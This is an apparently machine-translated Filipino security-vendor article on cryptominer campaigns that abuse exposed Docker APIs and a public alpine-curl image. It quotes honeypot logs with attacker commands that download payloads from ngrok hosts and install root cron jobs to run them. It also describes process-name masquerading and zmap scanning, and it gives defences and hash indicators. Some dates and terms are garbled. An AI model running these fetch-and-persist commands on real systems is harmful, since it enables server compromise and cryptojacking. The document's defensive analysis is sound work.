Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency

Sinuri namin ang data na nakolekta gamit ang mga lalagyan ng honeypot, na ginawa namin upang subaybayan ang mga banta. At naka-detect kami ng makabuluhang aktibidad mula sa mga hindi gusto o hindi awtorisadong mga minero ng cryptocurrency na na-deploy bilang rogue container gamit ang isang imaheng na-publish ng komunidad sa Docker Hub. Ang imahe ay ginagamit bilang bahagi ng isang serbisyo na naghahatid ng mga nakakahamak na minero ng cryptocurrency.

Bilang karagdagan, ang mga programa para sa pagtatrabaho sa mga network ay naka-install upang tumagos sa mga bukas na kalapit na lalagyan at mga application.

Iniiwan namin ang aming mga honeypots, iyon ay, na may mga default na setting, nang walang anumang mga hakbang sa seguridad o kasunod na pag-install ng karagdagang software. Pakitandaan na ang Docker ay may mga rekomendasyon para sa paunang pag-setup upang maiwasan ang mga error at simpleng mga kahinaan. Ngunit ang mga honeypot na ginamit ay mga container, na idinisenyo upang makita ang mga pag-atake na naglalayong sa containerization platform, hindi ang mga application sa loob ng mga container.

Ang nakitang nakakahamak na aktibidad ay kapansin-pansin din dahil hindi ito nangangailangan ng mga kahinaan at independyente rin sa bersyon ng Docker. Ang paghahanap ng isang hindi wastong na-configure, at samakatuwid ay bukas, ang imahe ng lalagyan ay ang lahat ng kailangan ng mga umaatake upang mahawahan ang maraming bukas na mga server.

Ang unclosed Docker API ay nagbibigay-daan sa user na magsagawa ng malawak na hanay ng mga koponan, kabilang ang pagkuha ng listahan ng mga tumatakbong container, pagkuha ng mga log mula sa isang partikular na container, pagsisimula, paghinto (kabilang ang sapilitang) at kahit na paggawa ng bagong container mula sa isang partikular na larawan na may mga tinukoy na setting.

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Sa kaliwa ay ang paraan ng paghahatid ng malware. Sa kanan ay ang kapaligiran ng umaatake, na nagbibigay-daan para sa malayuang pag-roll out ng mga larawan.

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Pamamahagi ayon sa bansa ng 3762 open Docker API. Batay sa paghahanap sa Shodan na may petsang 12.02.2019/XNUMX/XNUMX

Attack chain at mga pagpipilian sa payload

Ang malisyosong aktibidad ay nakita hindi lamang sa tulong ng mga honeypot. Ipinapakita ng data mula sa Shodan na ang bilang ng mga nakalantad na Docker API (tingnan ang pangalawang graph) ay tumaas mula noong nag-imbestiga kami sa isang maling na-configure na container na ginamit bilang tulay upang i-deploy ang Monero cryptocurrency mining software. Noong Oktubre noong nakaraang taon (2018, kasalukuyang data maaari kang magmukhang ganito tinatayang tagasalin) mayroon lamang 856 na bukas na mga API.

Ang pagsusuri sa mga log ng honeypot ay nagpakita na ang paggamit ng imahe ng lalagyan ay nauugnay din sa paggamit ng ngrok, isang tool para sa pagtatatag ng mga secure na koneksyon o pagpapasa ng trapiko mula sa mga puntong naa-access ng publiko patungo sa mga tinukoy na address o mapagkukunan (halimbawa localhost). Nagbibigay-daan ito sa mga umaatake na dynamic na lumikha ng mga URL kapag naghahatid ng payload sa isang bukas na server. Nasa ibaba ang mga halimbawa ng code mula sa mga log na nagpapakita ng pang-aabuso sa serbisyo ng ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tulad ng nakikita mo, ang mga na-upload na file ay dina-download mula sa patuloy na pagbabago ng mga URL. Ang mga URL na ito ay may maikling petsa ng pag-expire, kaya hindi mada-download ang mga payload pagkatapos ng petsa ng pag-expire.

Mayroong dalawang pagpipilian sa payload. Ang una ay isang pinagsama-samang ELF miner para sa Linux (tinukoy bilang Coinminer.SH.MALXMR.ATNO) na kumokonekta sa mining pool. Ang pangalawa ay isang script (TrojanSpy.SH.ZNETMAP.A) na idinisenyo upang makakuha ng ilang mga tool sa network na ginagamit upang i-scan ang mga saklaw ng network at pagkatapos ay maghanap ng mga bagong target.

Ang script ng dropper ay nagtatakda ng dalawang variable, na pagkatapos ay ginagamit upang i-deploy ang cryptocurrency miner. Ang variable ng HOST ay naglalaman ng URL kung saan matatagpuan ang mga nakakahamak na file, at ang variable ng RIP ay ang pangalan ng file (sa katunayan, ang hash) ng minero na ide-deploy. Nagbabago ang variable ng HOST sa tuwing nagbabago ang variable ng hash. Sinusubukan din ng script na suriin na walang ibang mga minero ng cryptocurrency ang tumatakbo sa inaatakeng server.

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Mga halimbawa ng mga variable ng HOST at RIP, pati na rin ang isang snippet ng code na ginamit upang suriin na walang ibang mga minero ang tumatakbo

Bago simulan ang minero, pinalitan ito ng pangalan ng nginx. Ang ibang mga bersyon ng script na ito ay pinapalitan ang pangalan ng minero sa iba pang mga lehitimong serbisyo na maaaring naroroon sa mga kapaligiran ng Linux. Ito ay kadalasang sapat upang i-bypass ang mga pagsusuri laban sa listahan ng mga tumatakbong proseso.

Ang script ng paghahanap ay mayroon ding mga tampok. Gumagana ito sa parehong serbisyo ng URL upang i-deploy ang mga kinakailangang tool. Kabilang sa mga ito ay ang zmap binary, na ginagamit upang i-scan ang mga network at makakuha ng listahan ng mga bukas na port. Naglo-load din ang script ng isa pang binary na ginagamit upang makipag-ugnayan sa mga nahanap na serbisyo at makatanggap ng mga banner mula sa kanila upang matukoy ang karagdagang impormasyon tungkol sa nahanap na serbisyo (halimbawa, ang bersyon nito).

Paunang tinutukoy din ng script ang ilang hanay ng network upang i-scan, ngunit depende ito sa bersyon ng script. Itinatakda din nito ang mga target na port mula sa mga serbisyo—sa kasong ito, Docker—bago patakbuhin ang pag-scan.

Sa sandaling matagpuan ang mga posibleng target, awtomatikong maaalis ang mga banner sa kanila. Sinasala din ng script ang mga target depende sa mga serbisyo, application, bahagi o platform ng interes: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16 client at Apache CouchDB. Kung ang na-scan na server ay tumugma sa alinman sa mga ito, ito ay nai-save sa isang text file, na maaaring magamit ng mga umaatake sa ibang pagkakataon para sa kasunod na pagsusuri at pag-hack. Ang mga text file na ito ay ina-upload sa mga server ng mga umaatake sa pamamagitan ng mga dynamic na link. Iyon ay, ang isang hiwalay na URL ay ginagamit para sa bawat file, na nangangahulugan na ang kasunod na pag-access ay mahirap.

Ang attack vector ay isang Docker image, gaya ng makikita sa susunod na dalawang piraso ng code.

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Sa itaas ay ang pagpapalit ng pangalan sa isang lehitimong serbisyo, at sa ibaba ay kung paano ginagamit ang zmap upang mag-scan ng mga network

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Sa itaas ay mga paunang natukoy na hanay ng network, sa ibaba ay mga partikular na port para sa paghahanap ng mga serbisyo, kabilang ang Docker

Paano ginagamit ang non-proprietary na Docker API at mga pampublikong larawan mula sa komunidad upang ipamahagi ang mga minero ng cryptocurrency
Ang screenshot ay nagpapakita na ang alpine-curl na imahe ay na-download nang higit sa 10 milyong beses

Batay sa Alpine Linux at curl, isang resource-efficient CLI tool para sa paglilipat ng mga file sa iba't ibang protocol, maaari kang bumuo Larawan ng docker. Gaya ng nakikita mo sa nakaraang larawan, ang larawang ito ay na-download na nang higit sa 10 milyong beses. Ang isang malaking bilang ng mga pag-download ay maaaring mangahulugan ng paggamit ng larawang ito bilang isang entry point; ang larawang ito ay na-update higit sa anim na buwan na ang nakalipas; ang mga user ay hindi nagda-download ng iba pang mga larawan mula sa repositoryong ito nang madalas. Sa Docker punto ng pagpasok - isang hanay ng mga tagubilin na ginagamit upang i-configure ang isang lalagyan upang patakbuhin ito. Kung ang mga setting ng entry point ay hindi tama (halimbawa, ang lalagyan ay naiwang bukas mula sa Internet), ang imahe ay maaaring gamitin bilang isang vector ng pag-atake. Magagamit ito ng mga attacker para maghatid ng payload kung makakita sila ng maling pagkaka-configure o bukas na container na hindi sinusuportahan.

Mahalagang tandaan na ang larawang ito (alpine-curl) mismo ay hindi nakakahamak, ngunit tulad ng nakikita mo sa itaas, maaari itong magamit upang magsagawa ng mga nakakahamak na function. Ang mga katulad na larawan ng Docker ay maaari ding gamitin upang magsagawa ng mga nakakahamak na aktibidad. Nakipag-ugnayan kami sa Docker at nakipagtulungan sa kanila sa isyung ito.

Rekomendasyon

Maling setting labi palaging problema para sa maraming kumpanya, lalo na sa mga nagpapatupad DevOps, na nakatuon sa mabilis na pag-unlad at paghahatid. Ang lahat ay pinalala ng pangangailangan na sumunod sa mga panuntunan sa pag-audit at pagsubaybay, ang pangangailangan na subaybayan ang pagiging kompidensiyal ng data, pati na rin ang napakalaking pinsala mula sa kanilang hindi pagsunod. Ang pagsasama ng security automation sa development lifecycle ay hindi lamang nakakatulong sa iyo na makahanap ng mga butas sa seguridad na maaaring hindi matukoy, ngunit nakakatulong din ito sa iyong bawasan ang hindi kinakailangang workload, gaya ng pagpapatakbo ng mga karagdagang software build para sa bawat natuklasang kahinaan o maling configuration pagkatapos ma-deploy ang isang application.

Itinatampok ng insidenteng tinalakay sa artikulong ito ang pangangailangang isaalang-alang ang kaligtasan mula sa simula, kabilang ang mga sumusunod na rekomendasyon:

  • Para sa mga system administrator at developer: Palaging suriin ang iyong mga setting ng API upang matiyak na ang lahat ay naka-configure upang tumanggap lamang ng mga kahilingan mula sa isang partikular na server o panloob na network.
  • Sundin ang prinsipyo ng hindi bababa sa mga karapatan: tiyakin na ang mga imahe ng container ay nilagdaan at na-verify, limitahan ang pag-access sa mga kritikal na bahagi (serbisyo ng paglulunsad ng container) at magdagdag ng pag-encrypt sa mga koneksyon sa network.
  • Sundan mga rekomendasyon at paganahin ang mga mekanismo ng seguridad, hal. mula sa Docker at built-in mga tampok sa kaligtasan.
  • Gumamit ng awtomatikong pag-scan ng mga runtime at mga larawan upang makakuha ng karagdagang impormasyon tungkol sa mga prosesong tumatakbo sa container (halimbawa, upang makita ang panggagaya o maghanap ng mga kahinaan). Ang kontrol sa aplikasyon at pagsubaybay sa integridad ay tumutulong sa pagsubaybay sa mga abnormal na pagbabago sa mga server, file, at mga lugar ng system.

Tinutulungan ng Trendmicro ang mga koponan ng DevOps na bumuo ng ligtas, mabilis na ilunsad, at ilunsad kahit saan. Trend Micro Hybrid Cloud Security Nagbibigay ng malakas, streamlined, at automated na seguridad sa buong DevOps pipeline ng isang organisasyon at nagbibigay ng maraming panlaban sa pagbabanta XGen upang protektahan ang mga pisikal, virtual at cloud na workload sa runtime. Nagdaragdag din ito ng seguridad sa lalagyan na may Malalim na Seguridad и Deep Security Smart Check, na nag-i-scan ng mga larawan ng container ng Docker para sa malware at mga kahinaan sa anumang punto sa pipeline ng pag-develop upang maiwasan ang mga banta bago i-deploy ang mga ito.

Mga palatandaan ng kompromiso

Mga kaugnay na hash:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Sa Docker video course Ipinapakita ng mga nagsasanay na tagapagsalita kung anong mga setting ang kailangang gawin muna upang mabawasan ang posibilidad o ganap na maiwasan ang paglitaw ng sitwasyong inilarawan sa itaas. At noong Agosto 19-21 sa isang online intensive DevOps Tools&Cheats Maaari mong talakayin ang mga ito at ang mga katulad na problema sa seguridad sa mga kasamahan at nagsasanay na mga guro sa isang round table, kung saan ang lahat ay maaaring magsalita at makinig sa mga pasakit at tagumpay ng mga makaranasang kasamahan.

Pinagmulan: www.habr.com

Magdagdag ng komento